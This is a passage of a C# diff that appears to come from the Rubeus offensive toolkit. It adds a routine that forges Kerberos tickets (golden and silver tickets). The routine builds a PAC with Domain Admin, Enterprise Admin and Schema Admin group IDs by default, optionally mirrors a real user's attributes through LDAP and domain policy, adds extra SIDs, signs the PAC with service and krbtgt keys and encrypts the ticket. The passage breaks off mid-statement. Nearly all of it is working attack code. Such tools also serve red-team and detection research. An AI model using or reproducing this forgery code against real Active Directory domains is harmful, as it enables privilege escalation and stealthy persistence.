Interop.TicketFlags.renewable | Interop.TicketFlags.pre_authent, + // ticket time information + DateTime? startTime = null, + DateTime? rangeEnd = null, + string rangeInterval = "1d", + DateTime? authTime = null, + string endTime = "", + string renewTill = "", + // other PAC fields + int? id = null, + string groups = "", + string sids = "", + string displayName = "", + short? logonCount = null, + short? badPwdCount = null, + DateTime? lastLogon = null, + DateTime? logoffTime = null, + DateTime? pwdLastSet = null, + int? maxPassAge = null, + int? minPassAge = null, + int? pGid = null, + string homeDir = "", + string homeDrive = "", + string profilePath = "", + string scriptPath = "", + string resourceGroupSid = "", + List resourceGroups = null, + Interop.PacUserAccountControl uac = Interop.PacUserAccountControl.NORMAL_ACCOUNT, + bool newPac = false, + // arguments to deal with resulting ticket(s) + string outfile = null, + bool ptt = false, + // print a command to rebuild the ticket(s) + bool printcmd = false, + // arguments for unusual tickets + string cName = null, + string cRealm = null, + string s4uProxyTarget = null, + string s4uTransitedServices = null, + bool includeAuthData = false + ) + { + // vars + int c = 0; + DateTime originalStartTime = (DateTime)startTime; + System.Net.NetworkCredential ldapCred = null; + int? origMinPassAge = minPassAge; + int? origMaxPassAge = maxPassAge; + + // initialise LogonInfo section and set defaults + var kvi = Ndr._KERB_VALIDATION_INFO.CreateDefault(); + kvi.EffectiveName = new Ndr._RPC_UNICODE_STRING(user); + kvi.FullName = new Ndr._RPC_UNICODE_STRING(""); + kvi.HomeDirectory = new Ndr._RPC_UNICODE_STRING(""); + kvi.HomeDirectoryDrive = new Ndr._RPC_UNICODE_STRING(""); + kvi.ProfilePath = new Ndr._RPC_UNICODE_STRING(""); + kvi.LogonScript = new Ndr._RPC_UNICODE_STRING(""); + kvi.LogonServer = new Ndr._RPC_UNICODE_STRING(""); + kvi.UserSessionKey = Ndr._USER_SESSION_KEY.CreateDefault(); + kvi.LogonTime = new Ndr._FILETIME(((DateTime)startTime).AddSeconds(-1)); + kvi.LogoffTime = Ndr._FILETIME.CreateDefault(); + kvi.PasswordLastSet = Ndr._FILETIME.CreateDefault(); + kvi.KickOffTime = Ndr._FILETIME.CreateDefault(); + kvi.PasswordCanChange = Ndr._FILETIME.CreateDefault(); + kvi.PasswordMustChange = Ndr._FILETIME.CreateDefault(); + kvi.LogonCount = 0; + kvi.BadPasswordCount = 0; + kvi.UserId = 500; + kvi.PrimaryGroupId = 513; + if (string.IsNullOrEmpty(groups)) + { + kvi.GroupCount = 5; + kvi.GroupIds = new Ndr._GROUP_MEMBERSHIP[] { + new Ndr._GROUP_MEMBERSHIP(520, 0), + new Ndr._GROUP_MEMBERSHIP(512, 0), + new Ndr._GROUP_MEMBERSHIP(513, 0), + new Ndr._GROUP_MEMBERSHIP(519, 0), + new Ndr._GROUP_MEMBERSHIP(518, 0), + }; + } + kvi.UserAccountControl = (int)uac; + kvi.UserFlags = 0; + if (String.IsNullOrEmpty(sids)) + { + kvi.SidCount = 0; + kvi.ExtraSids = new Ndr._KERB_SID_AND_ATTRIBUTES[] { + new Ndr._KERB_SID_AND_ATTRIBUTES()}; + } + + // get network credential from ldapuser and ldappassword + if (!String.IsNullOrEmpty(ldapuser)) + { + // provide an alternate user to use for connection creds + if (!Regex.IsMatch(ldapuser, ".+\\.+", RegexOptions.IgnoreCase)) + { + Console.WriteLine("\r\n[X] /creduser specification must be in fqdn format (domain.com\\user)\r\n"); + return; + } + + try + { + string[] ldapParts = ldapuser.Split('\\'); + string ldapDomainName = ldapParts[0]; + string ldapUserName = ldapParts[1]; + + ldapCred = new System.Net.NetworkCredential(ldapUserName, ldappassword, ldapDomainName); + } + catch + { + Console.WriteLine("\r\n[X] /creduser specification must be in fqdn format (domain.com\\user)\r\n"); + return; + } + } + + + // determine domain if not supplied + string[] parts = sname.Split('/'); + if (String.IsNullOrEmpty(domain)) + { + if ((parts.Length > 1) && (parts[0] == "krbtgt")) + { + Console.WriteLine("[X] TGT or referral TGT requires /domain to be passed."); + return; + } + else if ((parts.Length == 1) && (sname.Split('@').Length == 1)) + { + Console.WriteLine("[X] SPN has to be in the format 'svc/host.domain.com' or 'host@domain.com'."); + return; + } + else if (parts.Length > 1) + { + domain = parts[1].Substring(parts[1].IndexOf('.') + 1); + string[] domainParts = domain.Split(':'); + if (domainParts.Length > 1) + { + domain = domainParts[0]; + } + } + else if (sname.Split('@').Length > 1) + { + domain = sname.Split('@')[1]; + } + else + { + Console.WriteLine("[X] SPN is in a unsupported format: {0}.", sname); + return; + } + } + if (String.IsNullOrEmpty(netbiosName)) + { + kvi.LogonDomainName = new Ndr._RPC_UNICODE_STRING(domain.Substring(0, domain.IndexOf('.')).ToUpper()); + } + + // if /ldap was passed make the LDAP queries + if (ldap) + { + // try LDAPS and fail back to LDAP + List> ActiveDirectoryObjects = null; + bool ssl = true; + if (String.IsNullOrEmpty(domainController)) + { + domainController = Networking.GetDCName(domain); //if domain is null, this will try to find a DC in current user's domain + } + + Console.WriteLine("[*] Trying to query LDAP using LDAPS for user information on domain controller {0}", domainController); + ActiveDirectoryObjects = Networking.GetLdapQuery(ldapCred, "", domainController, domain, String.Format("(samaccountname={0})", user), ssl); + if (ActiveDirectoryObjects == null) + { + Console.WriteLine("[!] LDAPS failed, retrying with plaintext LDAP."); + ssl = false; + ActiveDirectoryObjects = Networking.GetLdapQuery(ldapCred, "", domainController, domain, String.Format("(samaccountname={0})", user), ssl); + } + if (ActiveDirectoryObjects == null) + { + Console.WriteLine("[X] Error LDAP query failed, unable to create ticket using LDAP."); + return; + } + + foreach (var userObject in ActiveDirectoryObjects) + { + string objectSid = (string)userObject["objectsid"]; + string domainSid = objectSid.Substring(0, objectSid.LastIndexOf('-')); + + // parse the UAC field and set in the PAC + if (uac == Interop.PacUserAccountControl.NORMAL_ACCOUNT) + { + kvi.UserAccountControl = 0; + Interop.LDAPUserAccountControl userUAC = (Interop.LDAPUserAccountControl)userObject["useraccountcontrol"]; + if ((userUAC & Interop.LDAPUserAccountControl.ACCOUNTDISABLE) != 0) + { + kvi.UserAccountControl = kvi.UserAccountControl | (int)Interop.PacUserAccountControl.ACCOUNTDISABLE; + } + if ((userUAC & Interop.LDAPUserAccountControl.HOMEDIR_REQUIRED) != 0) + { + kvi.UserAccountControl = kvi.UserAccountControl | (int)Interop.PacUserAccountControl.HOMEDIR_REQUIRED; + } + + if ((userUAC & Interop.LDAPUserAccountControl.PASSWD_NOTREQD) != 0) + { + kvi.UserAccountControl = kvi.UserAccountControl | (int)Interop.PacUserAccountControl.PASSWD_NOTREQD; + } + if ((userUAC & Interop.LDAPUserAccountControl.TEMP_DUPLICATE_ACCOUNT) != 0) + { + kvi.UserAccountControl = kvi.UserAccountControl | (int)Interop.PacUserAccountControl.TEMP_DUPLICATE_ACCOUNT; + } + if ((userUAC & Interop.LDAPUserAccountControl.NORMAL_ACCOUNT) != 0) + { + kvi.UserAccountControl = kvi.UserAccountControl | (int)Interop.PacUserAccountControl.NORMAL_ACCOUNT; + } + if ((userUAC & Interop.LDAPUserAccountControl.MNS_LOGON_ACCOUNT) != 0) + { + kvi.UserAccountControl = kvi.UserAccountControl | (int)Interop.PacUserAccountControl.MNS_LOGON_ACCOUNT; + } + if ((userUAC & Interop.LDAPUserAccountControl.INTERDOMAIN_TRUST_ACCOUNT) != 0) + { + kvi.UserAccountControl = kvi.UserAccountControl | (int)Interop.PacUserAccountControl.INTERDOMAIN_TRUST_ACCOUNT; + } + if ((userUAC & Interop.LDAPUserAccountControl.WORKSTATION_TRUST_ACCOUNT) != 0) + { + kvi.UserAccountControl = kvi.UserAccountControl | (int)Interop.PacUserAccountControl.WORKSTATION_TRUST_ACCOUNT; + } + if ((userUAC & Interop.LDAPUserAccountControl.SERVER_TRUST_ACCOUNT) != 0) + { + kvi.UserAccountControl = kvi.UserAccountControl | (int)Interop.PacUserAccountControl.SERVER_TRUST_ACCOUNT; + } + if ((userUAC & Interop.LDAPUserAccountControl.DONT_EXPIRE_PASSWORD) != 0) + { + kvi.UserAccountControl = kvi.UserAccountControl | (int)Interop.PacUserAccountControl.DONT_EXPIRE_PASSWORD; + } + // Is this right? LDAP UAC field doesn't contain ACCOUNT_AUTO_LOCKED, LOCKOUT looks like the most likely candidate + if ((userUAC & Interop.LDAPUserAccountControl.LOCKOUT) != 0) + { + kvi.UserAccountControl = kvi.UserAccountControl | (int)Interop.PacUserAccountControl.ACCOUNT_AUTO_LOCKED; + } + if ((userUAC & Interop.LDAPUserAccountControl.ENCRYPTED_TEXT_PWD_ALLOWED) != 0) + { + kvi.UserAccountControl = kvi.UserAccountControl | (int)Interop.PacUserAccountControl.ENCRYPTED_TEXT_PASSWORD_ALLOWED; + } + if ((userUAC & Interop.LDAPUserAccountControl.SMARTCARD_REQUIRED) != 0) + { + kvi.UserAccountControl = kvi.UserAccountControl | (int)Interop.PacUserAccountControl.SMARTCARD_REQUIRED; + } + if ((userUAC & Interop.LDAPUserAccountControl.TRUSTED_FOR_DELEGATION) != 0) + { + kvi.UserAccountControl = kvi.UserAccountControl | (int)Interop.PacUserAccountControl.TRUSTED_FOR_DELEGATION; + } + if ((userUAC & Interop.LDAPUserAccountControl.NOT_DELEGATED) != 0) + { + kvi.UserAccountControl = kvi.UserAccountControl | (int)Interop.PacUserAccountControl.NOT_DELEGATED; + } + if ((userUAC & Interop.LDAPUserAccountControl.USE_DES_KEY_ONLY) != 0) + { + kvi.UserAccountControl = kvi.UserAccountControl | (int)Interop.PacUserAccountControl.USE_DES_KEY_ONLY; + } + if ((userUAC & Interop.LDAPUserAccountControl.DONT_REQ_PREAUTH) != 0) + { + kvi.UserAccountControl = kvi.UserAccountControl | (int)Interop.PacUserAccountControl.DONT_REQ_PREAUTH; + } + if ((userUAC & Interop.LDAPUserAccountControl.PASSWORD_EXPIRED) != 0) + { + kvi.UserAccountControl = kvi.UserAccountControl | (int)Interop.PacUserAccountControl.PASSWORD_EXPIRED; + } + if ((userUAC & Interop.LDAPUserAccountControl.TRUSTED_TO_AUTH_FOR_DELEGATION) != 0) + { + kvi.UserAccountControl = kvi.UserAccountControl | (int)Interop.PacUserAccountControl.TRUSTED_TO_AUTH_FOR_DELEGATION; + } + if ((userUAC & Interop.LDAPUserAccountControl.NO_AUTH_DATA_REQUIRED) != 0) + { + kvi.UserAccountControl = kvi.UserAccountControl | (int)Interop.PacUserAccountControl.NO_AUTH_DATA_REQUIRED; + } + if ((userUAC & Interop.LDAPUserAccountControl.PARTIAL_SECRETS_ACCOUNT) != 0) + { + kvi.UserAccountControl = kvi.UserAccountControl | (int)Interop.PacUserAccountControl.PARTIAL_SECRETS_ACCOUNT; + } + /* No USE_AES_KEYS bit seems to exist in the UAC field returned by LDAP + if ((userUAC & Interop.LDAPUserAccountControl.USE_AES_KEYS) != 0) + { + kvi.UserAccountControl = kvi.UserAccountControl | (int)Interop.PacUserAccountControl.USE_AES_KEYS; + }*/ + } + + List> adObjects = null; + + // build group and domain policy filter + string filter = ""; + string outputText = ""; + if (string.IsNullOrEmpty(groups)) + { + if (userObject.ContainsKey("memberof")) + { + foreach (string groupDN in (string[])userObject["memberof"]) + { + filter += String.Format("(distinguishedname={0})", groupDN); + } + outputText += "group"; + } + } + + if (pGid == null) + filter += String.Format("(objectsid={0}-{1})", domainSid, (string)userObject["primarygroupid"]); + + if (minPassAge == null || (maxPassAge == null && (((Interop.PacUserAccountControl)kvi.UserAccountControl & Interop.PacUserAccountControl.DONT_EXPIRE_PASSWORD) == 0))) + { + filter = String.Format("{0}(name={{31B2F340-016D-11D2-945F-00C04FB984F9}})", filter); + if (String.IsNullOrEmpty(outputText)) + { + outputText = "domain policy"; + } + else + { + outputText = String.Format("{0} and domain policy", outputText); + } + } + + if (!String.IsNullOrEmpty(filter)) + { + // Try to get group and domain policy information from LDAP + Console.WriteLine("[*] Retrieving {0} information over LDAP from domain controller {1}", outputText, domainController); + adObjects = Networking.GetLdapQuery(ldapCred, "", domainController, domain, String.Format("(|{0})", filter), ssl); + if (adObjects == null) + { + Console.WriteLine("[!] Unable to get {0} information using LDAP, using defaults.", outputText); + } + else + { + if (userObject.ContainsKey("memberof")) + { + kvi.GroupCount = ((string[])userObject["memberof"]).Length + 1; + kvi.GroupIds = new Ndr._GROUP_MEMBERSHIP[((string[])userObject["memberof"]).Length + 1]; + } + else + { + kvi.GroupCount = 1; + kvi.GroupIds = new Ndr._GROUP_MEMBERSHIP[1]; + } + c = 0; + foreach (var o in adObjects) + { + if (o.ContainsKey("gpcfilesyspath")) + { + string gptTmplPath = String.Format("{0}\\MACHINE\\Microsoft\\Windows NT\\SecEdit\\GptTmpl.inf", (string)o["gpcfilesyspath"]); + gptTmplPath = gptTmplPath.Replace(String.Format("\\\\{0}\\", domain), String.Format("\\\\{0}\\", domainController)); + Dictionary> gptTmplObject = Networking.GetGptTmplContent(gptTmplPath, ldapuser, ldappassword); + + if (gptTmplObject == null) + { + Console.WriteLine("[!] Warning: Unable to get domain policy information, skipping PasswordCanChange and PasswordMustChange PAC fields."); + continue; + } + + if (minPassAge == null) + { + minPassAge = Int32.Parse((string)gptTmplObject["SystemAccess"]["MinimumPasswordAge"]); + if (minPassAge > 0) + { + kvi.PasswordCanChange = new Ndr._FILETIME(((DateTime)userObject["pwdlastset"]).AddDays((double)minPassAge)); + } + } + if (maxPassAge == null && (((Interop.PacUserAccountControl)kvi.UserAccountControl & Interop.PacUserAccountControl.DONT_EXPIRE_PASSWORD) == 0)) + { + maxPassAge = Int32.Parse((string)gptTmplObject["SystemAccess"]["MaximumPasswordAge"]); + if (maxPassAge > 0) + { + DateTime pwdLastReset = (DateTime)userObject["pwdlastset"]; + if (pwdLastReset == DateTime.MinValue) + { + DateTime dt = DateTime.Now; + pwdLastReset = dt.AddDays(-2); + } + kvi.PasswordMustChange = new Ndr._FILETIME((pwdLastReset.AddDays((double)maxPassAge))); + } + } + } + else + { + string groupSid = (string)o["objectsid"]; + int groupId = Int32.Parse(groupSid.Substring(groupSid.LastIndexOf('-') + 1)); + Array.Copy(new Ndr._GROUP_MEMBERSHIP[] { new Ndr._GROUP_MEMBERSHIP(groupId, 7) }, 0, kvi.GroupIds, c, 1); + c += 1; + } + } + } + } + + // preform the netbios name lookup + if (String.IsNullOrEmpty(netbiosName)) + { + Console.WriteLine("[*] Retrieving netbios name information over LDAP from domain controller {0}", domainController); + + // first get forest root + string forestRoot = null; + try + { + forestRoot = System.DirectoryServices.ActiveDirectory.Forest.GetCurrentForest().RootDomain.Name; + } + catch + { + Console.WriteLine("[!] Unable to query forest root using System.DirectoryServices.ActiveDirectory.Forest, assuming {0} is the forest root", domain); + forestRoot = domain; + } + + string configRootDomain = domain; + if (!domain.Equals(forestRoot)) + configRootDomain = forestRoot; + + string configOU = String.Format("CN=Configuration,DC={0}", configRootDomain.Replace(".", ",DC=")); + + adObjects = Networking.GetLdapQuery(ldapCred, configOU, domainController, domain, String.Format("(&(netbiosname=*)(dnsroot={0}))", domain), ssl); + if (adObjects == null) + { + Console.WriteLine("[!] Unable to get netbios name information using LDAP, using defaults."); + } + else + { + foreach (var o in adObjects) + { + if (o.ContainsKey("netbiosname")) + { + kvi.LogonDomainName = new Ndr._RPC_UNICODE_STRING((string)o["netbiosname"]); + } + } + } + } + + // set the rest of the PAC fields + if (userObject.ContainsKey("displayname")) + { + kvi.FullName = new Ndr._RPC_UNICODE_STRING((string)userObject["displayname"]); + } + + if (String.IsNullOrEmpty(sid)) + { + kvi.LogonDomainId = new Ndr._RPC_SID(new SecurityIdentifier(domainSid)); + } + if (userObject.ContainsKey("logoncount")) + { + kvi.LogonCount = short.Parse((string)userObject["logoncount"]); + } + if (userObject.ContainsKey("badpwdcount")) + { + kvi.BadPasswordCount = short.Parse((string)userObject["badpwdcount"]); + } + if (userObject.ContainsKey("lastlogon") && ((DateTime)userObject["lastlogon"] != DateTime.MinValue)) + { + kvi.LogonTime = new Ndr._FILETIME((DateTime)userObject["lastlogon"]); + } + + if (userObject.ContainsKey("lastlogoff") && ((DateTime)userObject["lastlogoff"] != DateTime.MinValue)) + { + kvi.LogoffTime = new Ndr._FILETIME((DateTime)userObject["lastlogoff"]); + } + if (userObject.ContainsKey("pwdlastset") && (DateTime)userObject["pwdlastset"] != DateTime.MinValue) + { + kvi.PasswordLastSet = new Ndr._FILETIME((DateTime)userObject["pwdlastset"]); + } + kvi.PrimaryGroupId = Int32.Parse((string)userObject["primarygroupid"]); + kvi.UserId = Int32.Parse(objectSid.Substring(objectSid.LastIndexOf('-') + 1)); + if (userObject.ContainsKey("homedirectory")) + { + kvi.HomeDirectory = new Ndr._RPC_UNICODE_STRING((string)userObject["homedirectory"]); + } + if (userObject.ContainsKey("homedrive")) + { + kvi.HomeDirectoryDrive = new Ndr._RPC_UNICODE_STRING((string)userObject["homedrive"]); + } + if (userObject.ContainsKey("profilepath")) + { + kvi.ProfilePath = new Ndr._RPC_UNICODE_STRING((string)userObject["profilepath"]); + } + if (userObject.ContainsKey("scriptpath")) + { + kvi.LogonScript = new Ndr._RPC_UNICODE_STRING((string)userObject["scriptpath"]); + } + + } + + } + else if (String.IsNullOrEmpty(sid)) + { + Console.WriteLine("[X] To forge tickets without specifying '/ldap', '/sid' is required."); + return; + } + + // initialize some structures + KRB_CRED cred = new KRB_CRED(); + KrbCredInfo info = new KrbCredInfo(); + + Console.WriteLine("[*] Building PAC"); + + // overwrite any LogonInfo fields here sections + if (!String.IsNullOrEmpty(netbiosName)) + { + kvi.LogonDomainName = new Ndr._RPC_UNICODE_STRING(netbiosName); + } + if (!String.IsNullOrEmpty(sid)) + { + kvi.LogonDomainId = new Ndr._RPC_SID(new SecurityIdentifier(sid)); + } + if (!String.IsNullOrEmpty(groups)) + { + List allGroups = new List(); + foreach (string gid in groups.Split(',')) + { + try + { + allGroups.Add(Int32.Parse(gid)); + } + catch (Exception e) + { + Console.WriteLine("[X] Error unable to parse group id {0}: {1}", gid, e.Message); + } + } + if ((pGid != null) && !allGroups.Contains((int)pGid)) + allGroups.Add((int)pGid); + int numOfGroups = allGroups.Count; + kvi.GroupCount = numOfGroups; + kvi.GroupIds = new Ndr._GROUP_MEMBERSHIP[numOfGroups]; + c = 0; + foreach (int gid in allGroups) + { + Array.Copy(new Ndr._GROUP_MEMBERSHIP[] { new Ndr._GROUP_MEMBERSHIP(gid, 7) }, 0, kvi.GroupIds, c, 1); + c += 1; + } + } + if (!String.IsNullOrEmpty(sids)) + { + int numOfSids = sids.Split(',').Length; + kvi.SidCount = numOfSids; + kvi.ExtraSids = new Ndr._KERB_SID_AND_ATTRIBUTES[numOfSids]; + c = 0; + foreach (string s in sids.Split(',')) + { + Array.Copy(new Ndr._KERB_SID_AND_ATTRIBUTES[] { new Ndr._KERB_SID_AND_ATTRIBUTES(new Ndr._RPC_SID(new SecurityIdentifier(s)), 7) }, 0, kvi.ExtraSids, c, 1); + c += 1; + } + } + if (!String.IsNullOrEmpty(resourceGroupSid) && (resourceGroups != null)) + { + try + { + kvi.ResourceGroupDomainSid = new Ndr._RPC_SID(new SecurityIdentifier(resourceGroupSid)); + kvi.ResourceGroupCount = resourceGroups.Count; + kvi.ResourceGroupIds = new Ndr._GROUP_MEMBERSHIP[resourceGroups.Count]; + c = 0; + foreach (int rgroup in resourceGroups) + { + Array.Copy(new Ndr._GROUP_MEMBERSHIP[] { new Ndr._GROUP_MEMBERSHIP(rgroup, 7) }, 0, kvi.ResourceGroupIds, c, 1); + c += 1; + } + } + catch + { + + } + } + if (kvi.SidCount > 0) + { + kvi.UserFlags = kvi.UserFlags | (int)Interop.PacUserFlags.EXTRA_SIDS; + } + if (kvi.ResourceGroupCount > 0) + { + kvi.UserFlags = kvi.UserFlags | (int)Interop.PacUserFlags.RESOURCE_GROUPS; + } + if (!String.IsNullOrEmpty(domainController)) + { + string dcName = Networking.GetDCNameFromIP(domainController); + if (dcName != null) + { + kvi.LogonServer = new Ndr._RPC_UNICODE_STRING(domainController.Substring(0, domainController.IndexOf('.')).ToUpper()); + } + } + if (!String.IsNullOrEmpty(displayName)) + { + kvi.FullName = new Ndr._RPC_UNICODE_STRING(displayName); + } + if (logonCount != null) + { + kvi.LogonCount = (short)logonCount; + } + if (badPwdCount != null) + { + kvi.BadPasswordCount = (short)badPwdCount; + } + if (lastLogon != null) + { + kvi.LogonTime = new Ndr._FILETIME((DateTime)lastLogon); + } + if (logoffTime != null) + { + kvi.LogoffTime = new Ndr._FILETIME((DateTime)logoffTime); + } + if (pwdLastSet != null) + { + kvi.PasswordLastSet = new Ndr._FILETIME((DateTime)pwdLastSet); + } + if (origMinPassAge != null) + { + try + { + DateTime passLastSet = DateTime.FromFileTimeUtc((long)kvi.PasswordLastSet.LowDateTime | ((long)kvi.PasswordLastSet.HighDateTime << 32)); + if (minPassAge > 0) + { + kvi.PasswordCanChange = new Ndr._FILETIME(passLastSet.AddDays((double)minPassAge)); + } + } + catch + { + Console.WriteLine("[!] Something went wrong setting the PasswordCanChange field, perhaps PasswordLastSet is not configured properly"); + } + } + if (origMaxPassAge != null && (((Interop.PacUserAccountControl)kvi.UserAccountControl & Interop.PacUserAccountControl.DONT_EXPIRE_PASSWORD) == 0)) + { + try + { + DateTime passLastSet = DateTime.FromFileTimeUtc((long)kvi.PasswordLastSet.LowDateTime | ((long)kvi.PasswordLastSet.HighDateTime << 32)); + if (maxPassAge > 0) + { + kvi.PasswordMustChange = new Ndr._FILETIME(passLastSet.AddDays((double)maxPassAge)); + } + } + catch + { + Console.WriteLine("[!] Something went wrong setting the PasswordMustChange field, perhaps PasswordLastSet is not configured properly"); + } + } + if (id != null) + { + kvi.UserId = (int)id; + } + if (pGid != null) + { + kvi.PrimaryGroupId = (int)pGid; + } + if (!String.IsNullOrEmpty(homeDir)) + { + kvi.HomeDirectory = new Ndr._RPC_UNICODE_STRING(homeDir); + } + if (!String.IsNullOrEmpty(homeDrive)) + { + kvi.HomeDirectoryDrive = new Ndr._RPC_UNICODE_STRING(homeDrive); + } + if (!String.IsNullOrEmpty(profilePath)) + { + kvi.ProfilePath = new Ndr._RPC_UNICODE_STRING(profilePath); + } + if (!String.IsNullOrEmpty(scriptPath)) + { + kvi.LogonScript = new Ndr._RPC_UNICODE_STRING(scriptPath); + } + + + // generate a random session key, encryption type and checksum types + Random random = new Random(); + byte[] randKeyBytes; + SignatureData svrSigData = new SignatureData(PacInfoBufferType.ServerChecksum); + SignatureData kdcSigData = new SignatureData(PacInfoBufferType.KDCChecksum); + int svrSigLength = 12, kdcSigLength = 12; + if (etype == Interop.KERB_ETYPE.rc4_hmac) + { + randKeyBytes = new byte[16]; + random.NextBytes(randKeyBytes); + svrSigData.SignatureType = Interop.KERB_CHECKSUM_ALGORITHM.KERB_CHECKSUM_HMAC_MD5; + kdcSigData.SignatureType = Interop.KERB_CHECKSUM_ALGORITHM.KERB_CHECKSUM_HMAC_MD5; + svrSigLength = 16; + kdcSigLength = 16; + } + else if (etype == Interop.KERB_ETYPE.aes256_cts_hmac_sha1) + { + randKeyBytes = new byte[32]; + random.NextBytes(randKeyBytes); + svrSigData.SignatureType = Interop.KERB_CHECKSUM_ALGORITHM.KERB_CHECKSUM_HMAC_SHA1_96_AES256; + kdcSigData.SignatureType = Interop.KERB_CHECKSUM_ALGORITHM.KERB_CHECKSUM_HMAC_SHA1_96_AES256; + } + else + { + Console.WriteLine("[X] Only rc4_hmac and aes256_cts_hmac_sha1 key hashes supported at this time!"); + return; + } + + // if the krbtgt key is specified, use the checksum type also specified + if (krbKey != null) + { + kdcSigData.SignatureType = krbeType; + if ((krbeType == Interop.KERB_CHECKSUM_ALGORITHM.KERB_CHECKSUM_HMAC_SHA1_96_AES256) || (krbeType == Interop.KERB_CHECKSUM_ALGORITHM.KERB_CHECKSUM_HMAC_SHA1_96_AES128)) + { + kdcSigLength = 12; + } + else + { + kdcSigLength = 16; + } + } + + // set krbKey to serviceKey if none is given + if (krbKey == null) + { + krbKey = serviceKey; + } + + // output some ticket information relevent to all tickets generated + Console.WriteLine(""); + Console.WriteLine("[*] Domain : {0} ({1})", domain.ToUpper(), kvi.LogonDomainName); + Console.WriteLine("[*] SID : {0}", kvi.LogonDomainId?.GetValue()); + Console.WriteLine("[*] UserId : {0}", kvi.UserId); + if (kvi.GroupCount > 0) + { + Console.WriteLine("[*] Groups : {0}", kvi.GroupIds?.GetValue().Select(g => g.RelativeId.ToString()).Aggregate((cur, next) => cur + "," + next)); + } + if (kvi.SidCount > 0) + { + Console.WriteLine("[*] ExtraSIDs : {0}", kvi.ExtraSids.GetValue().Select(s => s.Sid.ToString()).Aggregate((cur, next) => cur + "," + next)); + } + Console.WriteLine("[*] ServiceKey : {0}", Helpers.ByteArrayToString(serviceKey)); + Console.WriteLine("[*] ServiceKeyType : {0}", svrSigData.SignatureType); + Console.WriteLine("[*] KDCKey : {0}", Helpers.ByteArrayToString(krbKey)); + Console.WriteLine("[*] KDCKeyType : {0}", kdcSigData.SignatureType); + Console.WriteLine("[*] Service : {0}", parts[0]); + Console.WriteLine("[*] Target : {0}", parts[1]); + Console.WriteLine(""); + + // loop incase we need to generate multiple tickets as everything below this are effected + do + { + // Create PacInfoBuffers + kvi.LogonTime = new Ndr._FILETIME((DateTime)startTime); + LogonInfo li = new LogonInfo(kvi); + + if (String.IsNullOrEmpty(cName)) + cName = user; + if (String.IsNullOrEmpty(cRealm)) + cRealm = domain; + + ClientName cn = null; + if (parts[0].Equals("krbtgt") && !cRealm.Equals(domain)) + cn = new ClientName((DateTime)startTime, String.Format("{0}@{1}@{1}", user, domain.ToUpper())); + else + cn = new ClientName((DateTime)startTime, user); + + UpnDns upnDns = new UpnDns(0, domain.ToUpper(), String.Format("{0}@{1}", user, domain.ToLower())); + + S4UDelegationInfo s4u = null; + if (!String.IsNullOrEmpty(s4uProxyTarget) && !String.IsNullOrEmpty(s4uTransitedServices)) + { + s4u = new S4UDelegationInfo(s4uProxyTarget, s4uTransitedServices.Split(',')); + } + + Console.WriteLine("[*] Generating EncTicketPart"); + + EncTicketPart decTicketPart = new EncTicketPart(randKeyBytes, etype, cRealm.ToUpper(), cName, flags, cn.ClientId); + + // set other times in EncTicketPart + DateTime? check = null; + decTicketPart.authtime = (DateTime)authTime; + if (!String.IsNullOrEmpty(endTime)) + { + check = Helpers.FutureDate((DateTime)startTime, endTime); + if (check != null) + { + decTicketPart.endtime = (DateTime)check; + } + } + if (!String.IsNullOrEmpty(renewTill)) + { + check = Helpers.FutureDate((DateTime)startTime, renewTill); + if (check != null) + { + decTicketPart.renew_till = (DateTime)check; + } + } + + if (decTicketPart.authorization_data == null) + { + decTicketPart.authorization_data = new List(); + } + + // generate blank PAC for TicketChecksum for service tickets + SignatureData ticketSigData = null; + if (!(parts[0].Equals("krbtgt") && parts[1].Equals(domain))) + { + ticketSigData = new SignatureData(PacInfoBufferType.TicketChecksum); + ticketSigData.SignatureType = kdcSigData.SignatureType; + ADIfRelevant ifrelevant = new ADIfRelevant(); + ADWin2KPac win2KPac = new ADWin2KPac(); + win2KPac.Pac = null; + win2KPac.ad_data = new byte[] { 0x00 }; + decTicketPart.authorization_data.Add(new ADIfRelevant(win2KPac)); + } + + // set extra AuthorizationData sections + if (includeAuthData) + { + ADIfRelevant ifrelevant = new ADIfRelevant(); + ADRestrictionEntry restrictions = new ADRestrictionEntry(); + ADKerbLocal kerbLocal = new ADKerbLocal(); + ifrelevant.ADData.Add(restrictions); + ifrelevant.ADData.Add(kerbLocal); + decTicketPart.authorization_data.Add(ifrelevant); + } + + // now we have the extra auth data sections, calculate TicketChecksum + if (!(parts[0].Equals("krbtgt") && parts[1].Equals(domain))) + { + ticketSigData.Signature = decTicketPart.CalculateTicketChecksum(krbKey, kdcSigData.SignatureType); + } + + Attributes attrib = null; + Requestor requestor = null; + if (newPac) + { + attrib = new Attributes(); + requestor = new Requestor(String.Format("{0}-{1}", li.KerbValidationInfo.LogonDomainId?.GetValue(), li.KerbValidationInfo.UserId)); + } + + // clear signatures + Console.WriteLine("[*] Signing PAC"); + svrSigData.Signature = new byte[svrSigLength]; + kdcSigData.Signature = new byte[kdcSigLength]; + Array.Clear(svrSigData.Signature, 0, svrSigLength); + Array.Clear(kdcSigData.Signature, 0, kdcSigLength); + + // add sections to the PAC, get bytes and generate checksums + List PacInfoBuffers = new List(); + if (s4u != null) + { + PacInfoBuffers.Add(s4u); + } + PacInfoBuffers.Add(li); + PacInfoBuffers.Add(cn); + PacInfoBuffers.Add(upnDns); + if (newPac) + { + PacInfoBuffers.Add(attrib); + PacInfoBuffers.Add(requestor); + } + PacInfoBuffers.Add(svrSigData); + PacInfoBuffers.Add(kdcSigData); + if (ticketSigData != null) + { + PacInfoBuffers.Add(ticketSigData); + } + PACTYPE pt = new PACTYPE(0, PacInfoBuffers); + byte[] ptBytes = pt.Encode(); + byte[] svrSig = Crypto.KerberosChecksum(serviceKey, ptBytes, svrSigData.SignatureType); + byte[] kdcSig = Crypto.KerberosChecksum(krbKey, svrSig, kdcSigData.SignatureType); + + // add checksums + svrSigData.Signature = svrSig; + kdcSigData.Signature = kdcSig; + PacInfoBuffers = new List(); + if (s4u != null) + { + PacInfoBuffers.Add(s4u); + } + PacInfoBuffers.Add(li); + PacInfoBuffers.Add(cn); + PacInfoBuffers.Add(upnDns); + if (newPac) + { + PacInfoBuffers.Add(attrib); + PacInfoBuffers.Add(requestor); + } + PacInfoBuffers.Add(svrSigData); + PacInfoBuffers.Add(kdcSigData); + if (ticketSigData != null) + { + PacInfoBuffers.Add(ticketSigData); + } + pt = new PACTYPE(0, PacInfoBuffers); + + // add the PAC to the ticket + decTicketPart.SetPac(pt); + + + // encrypt the EncTicketPart + Console.WriteLine("[*] Encrypting EncTicketPart"); + byte[] encTicketData = decTicketPart.Encode().Encode(); + byte[] encTicketPart = Crypto.KerberosEncrypt(etype, 